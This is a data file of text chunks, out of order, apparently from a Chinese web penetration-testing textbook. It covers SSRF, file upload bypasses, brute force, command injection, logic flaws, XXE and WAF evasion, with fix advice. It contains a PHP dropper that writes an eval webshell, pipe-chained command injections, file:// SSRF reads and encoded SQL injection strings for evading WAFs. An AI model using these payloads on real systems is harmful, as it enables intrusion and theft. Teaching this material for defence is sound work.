验证请求的Referer值，如果Referer是以自己的网站开头的域名，则说明该请求来自网站自己，是合法的。如果Referer是其他网站域名或空白，就有可能是CSRF攻击，那么服务器应拒绝该请求，但是此方法存在被绕过的可能。 ● CSRF攻击之所以能够成功，是因为攻击者可以伪造用户的请求，由此可知，抵御CSRF攻击的关键在于：在请求中放入攻击者不能伪造的信息。例如可以在HTTP请求中以参数的形式加入一个随机产生的token，并在服务器端验证token，如果请求中没有token或者token的内容不正确，则认为该请求可能是CSRF攻击从而拒绝该请求。"},
    {"text": "未知 4.7 SSRF漏洞 4.7.1 介绍SSRF漏洞 SSRF（Server-Side Request Forgery，服务器端请求伪造）是一种由攻击者构造请求，由服务端发起请求的安全漏洞。一般情况下，SSRF攻击的目标是外网无法访问的内部系统（正因为请求是由服务端发起的，所以服务端能请求到与自身相连而与外网隔离的内部系统）。 4.7.2 SSRF漏洞原理 SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如，黑客操作服务端从指定URL地址获取网页文本内容，加载指定地址的图片等，利用的是服务端的请求伪造。SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。 主要攻击方式如下所示。 ● 对外网、服务器所在内网、本地进行端口扫描，获取一些服务的banner信息。 ● 攻击运行在内网或本地的应用程序。 ● 对内网Web应用进行指纹识别，识别企业内部的资产信息。 ● 攻击内外网的Web应用，主要是使用HTTP GET请求就可以实现的攻击（比如struts2、SQli等）。 ● 利用file协议读取本地文件等。 4.7.3 SSRF漏洞利用 SSRF漏洞利用的测试地址：http://127.0.0.1/ssrf.php?url=http://127.0.0.1/2.php。 页面ssrf.php实现的功能是获取GET参数URL，然后将URL的内容返回网页上。如果将请求的网址篡改为http://www.baidu.com，则页面会显示http://www.baidu.com的网页内容，如图4-102所示。 图4-102 篡改URL网址 但是，当设置参数URL为内网地址时，则会泄露内网信息，例如，当url=192.168.0.2:3306时，页面返回“当前地址不允许连接到MySQL服务器”，说明192.168.0.2存在MySQL服务，如图4-103所示。 图4-103 篡改URL网址为内网资源 访问ssrf.php?url=file:///C:/Windows/win.ini即可读取本地文件，如图4-104所示。 图4-104 篡改URL网址为本地文件 4.7.4 SSRF漏洞代码分析 在页面SSRF.php中，程序获取GET参数URL，通过curl_init（）初始化curl组件后，将参数URL带入curl_setopt（$ch,CURLOPT_URL,$url），然后调用所以curl-exec请求该URL。由于服务端会将banner信息返回客户端，所以可以根据banner判断主机是否存在某些服务，代码如下。 4.7.5 SSRF漏洞修复建议 针对SSRF漏洞的修复，笔者给出以下这几点建议。 ● 限制请求的端口只能为Web端口，只允许访问HTTP和HTTPS的请求。 ● 限制不能访问内网的IP，以防止对内网进行攻击。 ● 屏蔽返回的详细信息。"},
    {"text": "未知 4.8 文件上传 4.8.1 介绍文件上传漏洞 在现代互联网的Web应用程序中，上传文件是一种常见的功能，因为它有助于提高业务效率，比如企业的OA系统，允许用户上传图片、视频、头像和许多其他类型的文件。 然而向用户提供的功能越多，Web应用受到攻击的风险就越大，如果Web应用存在文件上传漏洞，那么恶意用户就可以利用文件上传漏洞将可执行脚本程序上传到服务器中，获得网站的权限，或者进一步危害服务器。 4.8.2 有关文件上传的知识 1.为什么文件上传存在漏洞 上传文件时，如果服务端代码未对客户端上传的文件进行严格的验证和过滤，就容易造成可以上传任意文件的情况，包括上传脚本文件（asp、aspx、php、jsp等格式的文件）。 2.危害 非法用户可以利用上传的恶意脚本文件控制整个网站，甚至控制服务器。 这个恶意的脚本文件，又被称为WebShell，也可将WebShell脚本称为一种网页后门，WebShell脚本具有非常强大的功能，比如查看服务器目录、服务器中的文件，执行系统命令等。 4.8.3 JS检测绕过攻击 JS检测绕过上传漏洞常见于用户选择文件上传的场景，如果上传文件的后缀不被允许，则会弹框告知，此时上传文件的数据包并没有发送到服务端，只是在客户端浏览器使用JavaScript对数据包进行检测，如图4-105所示。 图4-105 客户端JS检测上传文件后缀 这时有两种方法可以绕过客户端JavaScript的检测。 ● 使用浏览器的插件，删除检测文件后缀的JS代码，然后上传文件即可绕过。 ● 首先把需要上传文件的后缀改成允许上传的，如jpg、png等，绕过JS的检测，再抓包，把后缀名改成可执行文件的后缀即可上传成功，如图4-106所示。 图4-106 修改后缀 4.8.4 JS检测绕过攻击分析 客户端上传文件的HTML代码如下所示，在选择文件时，会调用JS的selectFile函数，函数的作用是先将文件名转换为小写，然后通过substr获取文件名最后一个点号后面的后缀（包括点号）。 如果后缀不是“.jpg”，则会弹框提示“请选择jpg格式的照片上传”。"},
    {"text": "此PHP代码中没有对文件后缀做任何判断，所以只需要绕过前端JS的校验就可以上传WebShell。 4.8.5 文件后缀绕过攻击 文件后缀绕过攻击是服务端代码中限制了某些后缀的文件不允许上传，但是有些Apache是允许解析其他文件后缀的，例如在httpd.conf中，如果配置有如下代码，则能够解析php和phtml文件。 AddType application/x-httpd-php.php.phtml 所以，可以上传一个后缀为phtml的WebShell，如图4-107所示。 图4-107 Apache解析phtml文件 在Apache的解析顺序中，是从右到左开始解析文件后缀的，如果最右侧的扩展名不可识别，就继续往左判断，直到遇到可以解析的文件后缀为止，所以如果上传的文件名类似1.php.xxxx，因为后缀xxxx不可以解析，所以向左解析后缀php，如图4-108所示。 图4-108 Apache解析顺序 4.8.6 文件后缀绕过代码分析 服务端处理上传文件的代码如下所示。 通过函数pathinfo（）获取文件后缀，将后缀转换为小写后，判断是不是“php”，如果上传文件的后缀是php，则不允许上传，所以此处可以通过利用Apache解析顺序或上传phtml等后缀的文件绕过该代码限制。 4.8.7 文件类型绕过攻击 在客户端上传文件时，通过Burp Suite抓取数据包，当上传一个php格式的文件时，可以看到数据包中Content-Type的值是application/octet-stream，而上传jpg格式的文件时，数据包中Content-Type的值是image/jpeg，如图4-109和图4-110所示。 图4-109 上传php文件 图4-110 上传jpg文件 如果服务端代码是通过Content-Type的值来判断文件的类型，那么就存在被绕过的可能，因为Content-Type的值是通过客户端传递的，是可以任意修改的。 所以当上传一个php文件时，在Burp Suite中将Content-Type修改为image/jpeg，就可以绕过服务端的检测，如图4-111所示。 图4-111 修改Content-Type为图片格式 4.8.8 文件类型绕过代码分析 服务端处理上传文件的代码如下所示，服务端代码判断$_FILES[\"file\"][\"type\"]是不是图片的格式（image/gif,image/jpeg,image/pjpeg），如果不是，则不允许上传该文件，而$_FILES[\"file\"][\"type\"]是客户端请求数据包中的Content-Type，所以可以通过修改Content-Type的值绕过该代码限制。 在PHP中还存在一种相似的文件上传漏洞，PHP函数getimagesize（）可以获取图片的宽、高等信息，如果上传的不是图片文件，那么getimagesize（）就获取不到信息，则不允许上传，代码如下所示。"},
    {"text": "cat image.png webshell.php > image.php 此时，使用getimagesize（）就可以获取图片信息，且WebShell的后缀是php，也能被Apache解析为脚本文件，通过这种方式就可以绕过getimagesize（）的限制。"},
    {"text": "如图4-112所示，在上传文件时，服务端将GET参数jieduan的内容作为上传后文件名的第一部分，然后将按时间生成的图片文件名作为上传后文件名的第二部分。 图4-112 上传图片 修改参数jieduan为1.php%00.jpg，文件被保存到服务器时，%00会把“.jpg”和按时间生成的图片文件名全部截断，那么文件名就剩下1.php，因此成功上传了WebShell脚本，如图4-113所示。"},
    {"text": "图4-113 利用截断上传WebShell 4.8.10 文件截断绕过代码分析 服务端处理上传文件的代码如下所示，程序使用substr获取文件的后缀，然后判断后缀是否是flv、swf、mp3、mp4、3gp、zip、rar、gif、jpg、png、bmp中的一种，如果不是，则不允许上传该文件。"},
    {"text": "在多数情况下，截断绕过都是用在文件名后面加上HEX形式的%00来测试，例如filename='1.php%00.jpg'，但是由于在php中，$_FILES['file']['name']在得到文件名时，%00之后的内容已经被截断了，所以$_FILES['file']['name']得到的后缀是php，而不是php%00.jpg，因而此时不能通过if（in_array（$file_ext,$ext_arr））的检查，如图4-114和图4-115所示。"},
    {"text": "图4-114 修改文件名 图4-115 HEX形式的%00 4.8.11 竞争条件攻击 一些网站上传文件的逻辑是先允许上传任意文件，然后检查上传的文件是否包含WebShell脚本，如果包含则删除该文件。"},
    {"text": "这里存在的问题是文件上传成功后和删除文件之间存在一个短的时间差（因为要执行检查文件和删除文件的操作），攻击者就可以利用这个时间差完成竞争条件的上传漏洞攻击。"},
    {"text": "攻击者先上传一个WebShell脚本10.php,10.php的内容是生成一个新的WebShell脚本shell.php,10.php的代码如下所示。 <?php fputs（fopen（'../shell.php','w'）,'<?php @eval（$_POST[a]）?>'）; ?> 当10.php上传成功后，客户端立即访问10.php，则会在服务端当前目录下自动生成shell.php，这时攻击者就利用时间差完成了WebShell的上传，如图4-116所示。 图4-116 利用竞争条件上传WebShell 4.8.12 竞争条件代码分析 程序获取文件$_FILES[\"file\"][\"name\"]的代码如下所示，先判断upload目录下是否存在相同的文件，如果不存在，则直接上传文件，在判断文件是否为WebShell时，还有删除WebShell时，都是需要时间来执行的，如果我们能在删除文件前就访问该WebShell，那么会创建一个新的WebShell，从而绕过该代码限制。"},
    {"text": "未知 4.9 暴力破解 4.9.1 介绍暴力破解漏洞 暴力破解的产生是由于服务器端没有做限制，导致攻击者可以通过暴力的手段破解所需信息，如用户名、密码、验证码等。暴力破解需要一个庞大的字典，如4位数字的验证码，那么暴力破解的范围就是0000～9999，暴力破解的关键在于字典的大小。 4.9.2 暴力破解漏洞攻击 暴力破解攻击的测试地址为http://127.0.0.1/bp.html。 一般情况下，系统中都存在管理账号：admin，下面我们就尝试破解admin的密码，首先用户名处输入账号admin，接着随便输入一个密码，使用Buwp Suite抓包，在Infrader中选中密码处爆破，导入密码字典并开始爆破，如图4-117所示。可以看到，有一个数据包的Length值跟其他的都不一样，这个数据包中的Payload就是爆破成功的密码，如图4-118所示。 图4-117 Burp的Intruder模块 图4-118 暴力破解的结果 4.9.3 暴力破解漏洞代码分析 服务端处理用户登录的代码如下所示，程序获取POST参数username和参数password，然后在数据库中查询输入的用户名和密码是否存在，如果存在，则登录成功。但是这里没有对登录的次数做限制，所以只要用户一直尝试登录，就可以进行暴力破解。 4.9.4 暴力破解漏洞修复建议 针对暴力破解漏洞的修复，笔者给出以下两点建议。 ● 如果用户登录次数超过设置的阈值，则锁定账号。 ● 如果某个IP登录次数超过设置的阈值，则锁定IP。 锁定IP存在的一个问题是：如果多个用户使用的是同一个IP，则会造成其他用户也不能登录。 未知 4.10 命令执行 4.10.1 介绍命令执行漏洞 应用程序有时需要调用一些执行系统命令的函数，如在PHP中，使用system、exec、shell_exec、passthru、popen、proc_popen等函数可以执行系统命令。当黑客能控制这些函数中的参数时，就可以将恶意的系统命令拼接到正常命令中，从而造成命令执行攻击，这就是命令执行漏洞。 4.10.2 命令执行漏洞攻击 命令执行攻击的测试地址：http://127.0.0.1/1.php?ip=127.0.0.1。 页面1.php提供了ping的功能，当给参数IP输入127.0.0.1时，程序会执行ping 127.0.0.1，然后将ping的结果返回到页面上，如图4-119所示。 图4-119 执行ping 127.0.0.1 而如果将参数IP设置为127.0.0.1|dir，然后再次访问，从返回结果可以看到，程序直接将目录结构返回到页面上了，这里就利用了管道符“|”让系统执行了命令dir，如图4-120所示。 图4-120 执行ping 127.0.0.1 |dir 下面展示了常用的管道符。 Windows系例支持的管道符如下所示。 ● “|”：直接执行后面的语句。例如：ping 127.0.0.1|whoami。 ● “||”：如果前面执行的语句执行出错，则执行后面的语句，前面的语句只能为假。例如：ping 2||whoami。 ● “&”：如果前面的语句为假则直接执行后面的语句，前面的语句可真可假。例如：ping 127.0.0.1&whoami。 ● “&&”：如果前面的语句为假则直接出错，也不执行后面的语句，前面的语句只能为真。例如：ping 127.0.0.1&&whoami。 Linux系统支持的管道符如下所示。 “;”：执行完前面的语句再执行后面的。例如：ping 127.0.0.1;whoami。 “|”：显示后面语句的执行结果。例如：ping 127.0.0.1|whoami。 “||”：当前面的语句执行出错时，执行后面的语句。例如：ping 1||whoami。 “&”：如果前面的语句为假则直接执行后面的语句，前面的语句可真可假。例如：ping 127.0.0.1&whoami。 “&&”：如果前面的语句为假则直接出错，也不执行后面的，前面的语句只能为真。例如：ping 127.0.0.1&&whoami。 4.10.3 命令执行漏洞代码分析 服务端处理ping的代码如下所示，程序获取GET参数IP，然后拼接到system（）函数中，利用system（）函数执行ping的功能，但是此处没有对参数IP做过滤和检测，导致可以利用管道符执行其他的系统命令，代码如下所示。 4.10.4 命令执行漏洞修复建议 针对命令执行漏洞的修复，笔者给出以下这几点建议。 ● 尽量不要使用命令执行函数。 ● 客户端提交的变量在进入执行命令函数前要做好过滤和检测。 ● 在使用动态函数之前，确保使用的函数是指定的函数之一。 ● 对PHP语言来说，不能完全控制的危险函数最好不要使用。"},
    {"text": "未知 4.11 逻辑漏洞挖掘 4.11.1 介绍逻辑漏洞 逻辑漏洞就是指攻击者利用业务的设计缺陷，获取敏感信息或破坏业务的完整性。一般出现在密码修改、越权访问、密码找回、交易支付金额等功能处。其中越权访问又有水平越权和垂直越权两种，如下所示。 ● 水平越权：相同级别（权限）的用户或者同一角色中不同的用户之间，可以越权访问、修改或者删除其他用户信息的非法操作。如果出现此漏洞，可能会造成大批量数据的泄露，严重的甚至会造成用户信息被恶意篡改。 ● 垂直越权：就是不同级别之间的用户或不同角色之间用户的越权，比如普通用户可以执行管理员才能执行的功能。 逻辑缺陷表现为设计者或开发者在思考过程中做出的特殊假设存在明显或隐含的错误。 精明的攻击者会特别注意目标应用程序采用的逻辑方式，并设法了解设计者与开发者可能做出的假设，然后考虑如何攻破这些假设，黑客在挖掘逻辑漏洞时有两个重点：业务流程和HTTP/HTTPS请求篡改。 常见的逻辑漏洞有以下几类。 ● 支付订单：在支付订单时，可以篡改价格为任意金额；或者可以篡改运费或其他费用为负数，导致总金额降低。 ● 越权访问：通过越权漏洞访问他人信息或者操纵他人账号。 ● 重置密码：在重置密码时，存在多种逻辑漏洞，比如利用session覆盖重置密码、短信验证码直接在返回的数据包中等。 ● 竞争条件：竞争条件常见于多种攻击场景中，比如前面介绍的文件上传漏洞。还有一个常见场景就是购物时，例如用户A的余额为10元，商品B的价格为6元，商品C的价格为5元，如果用户A分别购买商品B和商品C，那余额肯定是不够的。但是如果用户A利用竞争条件，使用多线程同时发送购买商品B和商品C的请求，可能会出现以下这几种结果。 ○ 有一件商品购买失败。 ○ 商品都购买成功，但是只扣了6元。 ○ 商品都购买成功，但是余额变成了-1元。 4.11.2 越权访问攻击 越权访问攻击测试连接：http://172.16.200.12/yuequan/test2/admin/viewpassword.php?id=1。 viewpassword.php页面实现的功能是，当用户登录系统后，可以通过该页面查看自己的密码，该URL中存在一个参数id=1，当我们把参数id改为2之后，则可看到id为2的用户的信息，结果如图4-121和图4-122所示。 图4-121 访问id=1的用户的信息 图4-122 访问id=2的用户的信息 4.11.3 逻辑漏洞：越权访问代码分析 服务端处理用户查询个人信息的代码如下，程序设计的思路如下所示。 ● 在else语句中获取POST的参数username和参数password，然后到数据库中查询，如果正确，则登录成功，然后跳转到login.php?username=$username处（if语句）。 ● if语句中是登录成功后的代码，获取GET的参数username，然后到数据库中查询参数username的所有信息，并返回到页面上。 但是此处没有考虑的是，如果直接访问login.php?username=admin，那么将直接执行if语句中的代码，而没有执行else语句中的代码，所以此处不需要登录就可以查看admin的信息，通过这种方式，就可以越权访问其他用户的信息。 4.11.4 越权访问修复建议 越权访问漏洞产生的主要原因是没有对用户的身份做判断和控制，防护这种漏洞时，可以通过session来控制。例如在用户登录成功后，将username或uid写入到session中，当用户查看个人信息时，从session中取出username，而不是从GET或POST取username，那么此时取到的username就是没有被篡改的。"},
    {"text": "未知 4.12 XXE漏洞 4.12.1 介绍XXE漏洞 XML外部实体注入（XML External Entity）简称XXE漏洞，XML用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。 常见的XML语法结构如图4-123所示。 图4-123 XML语法结构 其中，文档类型定义（DTD）可以是内部声明也可以引用外部DTD，如下所示。 ● 内部声明DTD格式：<!DOCTYPE 根元素[元素声明]>。 ● 引用外部DTD格式：<!DOCTYPE 根元素 SYSTEM\"文件名\">。 在DTD中进行实体声明时，将使用ENTITY关键字来声明。实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体可在内部或外部进行声明。 ● 内部声明实体格式：<!ENTITY 实体名称 \"实体的值\">。 ● 引用外部实体格式：<!ENTITY 实体名称 SYSTEM\"URI\">。 4.12.2 XXE漏洞攻击 XXE 漏洞攻击的测试地址：http://127.0.0.1/1.php。 HTTP请求的POST参数如下所示。 在POST参数中，关键语句为“file///C:/windows/win.ini”，该语句的作用是通过file协议读取本地文件C:/windows/win.ini，如图4-124所示。 图4-124 读取文件 4.12.3 XXE漏洞代码分析 服务端处理XML的代码如下，代码的实现过程如下所示。 ● 使用file_get_contents获取客户端输入的内容。 ● 使用new DOMDocument（）初始化XML解析器。 ● 使用loadXML（$xmlfile）加载客户端输入的XML内容。 ● 使用simplexml_import_dom（$dom）获取XML文档节点，如果成功则返回SimpleXMLElement对象，如果失败则返回FALSE。 ● 获取SimpleXMLElement对象中的节点XXE，然后输出XXE的内容。 可以看到，代码中没有限制XML引入外部实体，所以当我们创建一个包含外部实体的XML时，外部实体的内容就会被执行。 4.12.4 XXE漏洞修复建议 针对XXE漏洞的修复，笔者给出以下两点建议。 ● 禁止使用外部实体，例如libxml_disable_entity_loader（true）。 ● 过滤用户提交的XML数据，防止出现非法内容。"},
    {"text": "未知 4.13 WAF的那些事 4.13.1 介绍WAF 本节主要介绍WAF（Web Application Firewall,Web应用防火墙）及与其相关的知识，这里利用国际上公认的一种说法：Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。"},
    {"text": "1.软件型WAF 以软件形式装在所保护的服务器上的WAF，由于安装在服务器上，所以可以接触到服务器上的文件，直接检测服务器上是否存在WebShell、是否有文件被创建等。 2.硬件型WAF 以硬件形式部署在链路中，支持多种部署方式，当串联到链路中时可以拦截恶意流量，在旁路监听模式时只记录攻击不进行拦截。 3.云WAF 一般以反向代理的形式工作，通过配置NS记录或CNAME记录，使对网站的请求报文优先经过WAF主机，经过WAF主机过滤后，将认为无害的请求报文再发送给实际网站服务器进行请求，可以说是带防护功能的CDN。 4.网站系统内置的WAF 网站系统内置的WAF也可以说是网站系统中内置的过滤，直接镶嵌在代码中，相对来说自由度高，一般有以下这几种情况。"},
    {"text": "1.SQLMap 使用SQLMap中自带的WAF识别模块可以识别出WAF的种类，但是如果所安下面装的WAF并没有什么特征，SQLMap就只能识别出类型是Generic。"},
    {"text": "sqlmap.py –u \"http://xxx.com\"--identify-waf--batch 图4-125 使用SQLMap识别WAF 可以看到识别出WAF的类型为XXX Web Application Firewall。 要想了解详细的识别规则可以查看SQLMap的WAF目录下的相关脚本，也可以按照其格式自主添加新的WAF识别规则，写好规则文件后直接放到WAF目录下即可。 2.手工判断 这个也比较简单，直接在相应网站的URL后面加上最基础的测试语句，比如union select 1,2,3%23，并且放在一个不存在的参数名中，本例里使用的是参数aaa，如图4-126所示，触发了WAF的防护，所以网站存在WAF。"},
    {"text": "图4-126 WAF拦截了非法请求 因为这里选取了一个不存在的参数，所以实际并不会对网站系统的执行流程造成任何影响，此时被拦截则说明存在WAF。"},
    {"text": "1.大小写混合 在规则匹配时只针对了特定大写或特定小写的情况，在实战中可以通过混合大小写的方式进行绕过（现在几乎没有这样的情况），如下所示。"},
    {"text": "uNion sElEct 1,2,3,4,5 2.URL编码 ● 极少部分的WAF不会对普通字符进行URL解码，如下所示。 union select 1,2,3,4,5 上述命令将被编码为如下所示的命令。"},
    {"text": "%75%6E%69%6F%6E%20%73%65%6C%65%63%74%20%31%2C%32%2C%33%2C%34%2C%35 ● 还有一种情况就是URL二次编码，WAF一般只进行一次解码，而如果目标Web系统的代码中进行了额外的URL解码，即可进行绕过。"},
    {"text": "%2575%256E%2569%256F%256E%2520%2573%2565%256C%2565%2563%2574%2520%2531%252C%2532% 252C%2533%252C%2534%252C%2535 3.替换关键字 WAF采用替换或者删除select/union这类敏感关键词的时候，如果只匹配一次则很容易进行绕过。"},
    {"text": "unuionion selselectect 1,2,3,4,5 4.使用注释 注释在截断SQL语句中用得比较多，在绕过WAF时主要使用其替代空格（/*任意内容*/），适用于检测过程中没有识别注释或替换掉了注释的WAF。"},
    {"text": "a=[input1]&b=[input2] 将GET的参数a和参数b拼接到SQL语句中，SQL语句如下所示。 and a=[input1]and b=[input2] 这时就可以将注入语句进行拆分，如下所示。 a=union/*&b=*/select 1,2,3,4 最终将参数a和参数b拼接，得到的SQL语句如下所示。"},
    {"text": "and a=union /*and b=*/select 1,2,3,4 6.HTTP参数污染 HTTP参数污染是指当同一参数出现多次，不同的中间件会解析为不同的结果，具体如表4-1所示（例子以参数color=red&color=blue为例）。 表4-1 HTTP参数污染 在上述提到的中间线中，IIS比较容易利用，可以直接分割带逗号的SQL语句。"},
    {"text": "下面以IIS为例，一般的SQL注入语句如下所示。 Inject=union select 1,2,3,4 将SQL注入语句转换为以下格式。 Inject=union/*&inject=*/select/*&inject=*/1&inject=2&inject=3&inject=4 最终在IIS中读入的参数值将如下所示。 Inject=union/*,*/select/*,*/1,2,3,4 7.生僻函数 使用生僻函数替代常见的函数，例如在报错注入中使用polygon（）函数替换常用的updatexml（）函数，如下所示。"},
    {"text": "SELECT polygon（（select*from（select*from（select@@version）f）x））; 8.寻找网站源站IP 对于具有云WAF防护的网站而言，只要找到网站的IP地址，然后通过IP访问网站，就可以绕过云WAF的检测。"},
    {"text": "9.注入参数到cookies中 某些程序员在代码中使用$_REQUEST获取参数，而$_REQUEST会依次从GET/POST/cookie中获取参数，如果WAF只检测了GET/POST而没有检测cookie，可以将注入语句放入cookie中进行绕过。"},
    {"text": "未知 第5章 Metasploit技术 未知 5.1 Metasploit简介 Metasploit是当前信息安全与渗透测试领域最流行的术语，它完全颠覆了已有的渗透测试方式。几乎所有流行的操作系统都支持Metasploit，而且Metasploit框架在这些系统上的工作流程基本都一样。本章中的示例以Kali操作系统为基础，该操作系统预装Metasploit及在其上运行的第三方工具。Kali系统的下载地址为http://www.kali.org/downloads/。 Metasploit框架（Metasploit Framework,MSF）是一个开源工具，旨在方便渗透测试，它是由Ruby程序语言编写的模板化框架，具有很好的扩展性，便于渗透测试人员开发、使用定制的工具模板。 Metasploit可向后端模块提供多种用来控制测试的接口（如控制台、Web、CLI）。推荐使用控制台接口，通过控制台接口，你可以访问和使用所有Metasploit的插件，例如Payload、利用模块、Post模块等。Metasploit还有第三方程序的接口，例如Nmap、SQLMap等，可以直接在控制台接口里使用，要访问该界面，需要在命令行下输入msfconsole,MSF的启动界面如图5-1所示。 图5-1 MSF的启动界面 知识点： 在使用Kali操作系统时应注意及时更新源，就像平时要及时更新手机App一个道理。更新命令有apt-get update、apt-get upgrade和apt-get dist-upgrade。 ● apt-get update：只更新软件包的索引源，作用是同步源的软件包的索引信息，从而进行软件更新。 ● apt-get upgrade：升级系统上安装的所有软件包，若更新失败，所涉及的包会保持更新之前的状态。 ● apt-get dist-upgrade：升级整个Linux系统，例如从Kali Linux 1.0.1升级到Kali Linux 1.0.2（不仅能够升级所有已安装的软件包，而且会处理升级过程中可能出现的软件冲突。某些情况下，它的部分升级过程需要人工参与）。"},
    {"text": "未知 前言 对于网络安全专业的人士来说，2017年是忙碌的一年，我们经历了美国国家安全局的敏感数据泄露事件、各种“邮件门”事件、“想哭”（WannaCry）勒索病毒肆虐全球，以及“8·19徐玉玉电信诈骗案”等安全大事。"},
    {"text": "随着智能终端改变着人们生活中的方方面面，互联网渗透进国民经济的各行各业，用户的隐私安全受到更大威胁，企业也面临着向互联网企业的转型和升级，信息安全将成为未来所有普通人最关心的问题之一。"},
    {"text": "随着“网络空间安全”被批准为国家一级学科，各高校网络空间安全学院如雨后春笋般纷纷成立，但各高校的网络安全教育普遍存在一个问题，便是很少全面、系统地开设“渗透测试”方面的课程，而“渗透测试”作为主动防御的一种关键手段，对评估网络系统安全防护及措施至关重要，因为只有发现问题才能及时终止并预防潜在的安全风险。"},
    {"text": "本书出版的同时计划出版姐妹篇——《内网安全攻防：渗透测试实战指南》，目前已经在撰写中，具体目录及进展情况可以在http://www.ms08067.com中查看。 本书结构 本书基本囊括了目前所有流行的高危漏洞的原理、攻击手段和防御手段，并结合大量的图文解说，可以使初学者很快掌握Web渗透技术的具体方法和流程，帮助初学者从零开始建立起一些基本技能。 全书按照从简单到复杂、从基础到进阶的顺序讲解，不涉及一些学术性、纯理论性的内容，所讲述的渗透技术都是干货。 读者按照书中所讲述的步骤操作即可还原实际的渗透攻击场景。"},
    {"text": "第2章 搭建漏洞环境及实战 “白帽子”在目标对象不知情或者没有得到授权的情况下发起的渗透攻击是非法行为，所以我们通常会搭建一个有漏洞的Web应用程序，以此来练习各种各样的安全渗透技术。 本章主要介绍了Linux系统下的LANMP、Windows系统下的WAMP应用环境的搭建，DVWA漏洞平台、SQL注入平台、XSS测试平台等常用渗透测试漏洞练习平台的安装配置及实战。"},
    {"text": "第3章 常用的渗透测试工具 “工欲善其事，必先利其器”，在日常的渗透测试中，借助一些工具，“白帽子”可以更高效地执行安全测试，这能极大地提高工作的效率和成功率。"},
    {"text": "第4章 Web安全原理剖析 Web渗透的核心技术包括SQL注入、XSS攻击、CSRF攻击、SSRF攻击、暴力破解、文件上传、命令执行漏洞攻击、逻辑漏洞攻击、XXE漏洞攻击和WAF绕过等。"},
    {"text": "本章依次将这些常见高危漏洞提取出来，从原理到利用，从攻击到防御，一一讲解。 同时还讲解了CSRF漏洞、SSRF漏洞、XXE漏洞、暴力破解漏洞、命令执行漏洞、文件上传漏洞、逻辑漏洞的形成原理、漏洞利用、代码分析，以及修复建议。"},
    {"text": "第6章 PowerShell攻击指南 在渗透测试中，PowerShell是不能忽略的一个环节，而且仍在不断地更新和发展，它具有令人难以置信的灵活性和功能化管理Windows系统的能力。"},
    {"text": "本章详细介绍了PowerShell的基本概念和常用命令，以及PowerSploit、Empire、Nishang等常用PowerShell攻击工具的安装及具体模块的使用，包括生成木马、信息探测、权限提升、横向渗透、凭证窃取、键盘记录、后门持久化等操作。"},
    {"text": "第7章 实例分析 对网站进行渗透测试前，如果发现网站使用的程序是开源的CMS，测试人员一般会在互联网上搜索该CMS已公开的漏洞，然后尝试利用公开的漏洞进行测试。 由于CMS已开源，所以可以将源码下载，直接进行代码审计，寻找源码中的安全漏洞。 本章结合实际的源码，详细介绍了如何找出SQL注入漏洞、文件删除漏洞、文件上传漏洞、添加管理员漏洞、竞争条件漏洞等几种常见安全漏洞的代码审查方法，并通过实际案例细致地讲解了几种典型的攻击手段，如后台爆破、SSRF+Redis获得WebShell、旁站攻击、重置密码攻击和SQL注入攻击，完美复现了整个实际渗透攻击的过程。"},
    {"text": "特别声明 本书仅限于讨论网络安全技术，书中展示的案例只是为了读者更好地理解攻击者的思路和操作，以达到防范信息泄露、保护信息安全的目的，请勿用于非法用途！ 严禁利用本书所提到的漏洞和技术进行非法攻击，否则后果自负，本人和出版商不承担任何责任！"},
    {"text": "联系作者 读者在阅读本书过程中遇到任何问题或者有任何意见，都可以直接发电子邮件至8946723@qq.com进行反馈。 读者也可以加入本书的交流QQ群（736151662）进行交流。"},
    {"text": "● 提交勘误： 您对书中内容的修改意见可在 提交勘误 处提交，若被采纳，将获赠博文视点社区积分（在您购买电子书时，积分可用来抵扣相应金额）。"},
    {"text": "感谢carry_your、武鑫、张苗苗、椰树、TT参与了本书部分内容的编写。 感谢张胜生、陈亮、程冲、周培源、周勇林、Mcvoodoo、尹毅百忙之中抽空为本书写序、写推荐语。"},
    {"text": "感谢各位圈内的朋友，他们包括但不限于：陈小兵、矩阵、klion、key、不许联想、暗夜还差很远、博雅、杨凡、曲云杰、陈建航、位面消隐、Demon…… 感谢我的父母，感谢你们含辛茹苦地将我抚育成人，教会我做人的道理，在我生命的任何时刻都默默地站在我的身后，支持我，鼓励我！"},
    {"text": "未知 5.2 Metasploit基础 5.2.1 专业术语 MSF框架由多个模块组成，各个模块及其具体的功能如下。 1.Auxiliaries（辅助模块） 该模块不会直接在测试者和目标主机之间建立访问，它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。 2.Exploit（漏洞利用模块） 漏洞利用是指由渗透测试者利用一个系统、应用或者服务中的安全漏洞进行的攻击行为。流行的渗透攻击技术包括缓冲区溢出、Web应用程序攻击，以及利用配置错误等，其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序，用于破坏系统安全性的攻击代码，每个漏洞都有相应的攻击代码。 3.Payload（攻击载荷模块） 攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码，成功渗透目标后，用于在目标系统上运行任意命令或者执行特定代码，在Metasploit框架中可以自由地选择、传送和植入。攻击载荷也可能是简单地在目标操作系统上执行一些命令，如添加用户账号等。 4.Post（后期渗透模块） 该模块主要用于在取得目标系统远程控制权后，进行一系列的后渗透攻击动作，如获取敏感信息、实施跳板攻击等。 5.Encoders（编码工具模块） 该模块在渗透测试中负责免杀，以防止被杀毒软件、防火墙、IDS及类似的安全软件检测出来。 5.2.2 渗透攻击步骤 使用MSF渗透测试时，可以综合使用以上模块，对目标系统进行侦察并发动攻击，大致的步骤如下所示。 ● 扫描目标机系统，寻找可用漏洞。 ● 选择并配置一个漏洞利用模块。 ● 选择并配置一个攻击载荷模块。 ● 选择一个编码技术，用来绕过杀毒软件的查杀。 ● 渗透攻击。 “理论联系实际”是最好的学习方法，我们已经大概了解了MSF渗透攻击的基础知识，下面进行一次简单的渗透攻击。 未知 5.3 主机扫描 扫描和收集信息是渗透测试中的第一步，其主要目标是尽可能多地发现有关目标机器的信息。获取的信息越多，渗透的概率就越大。该步骤的主要关注点是目标机器IP地址、可用服务、开放端口等。 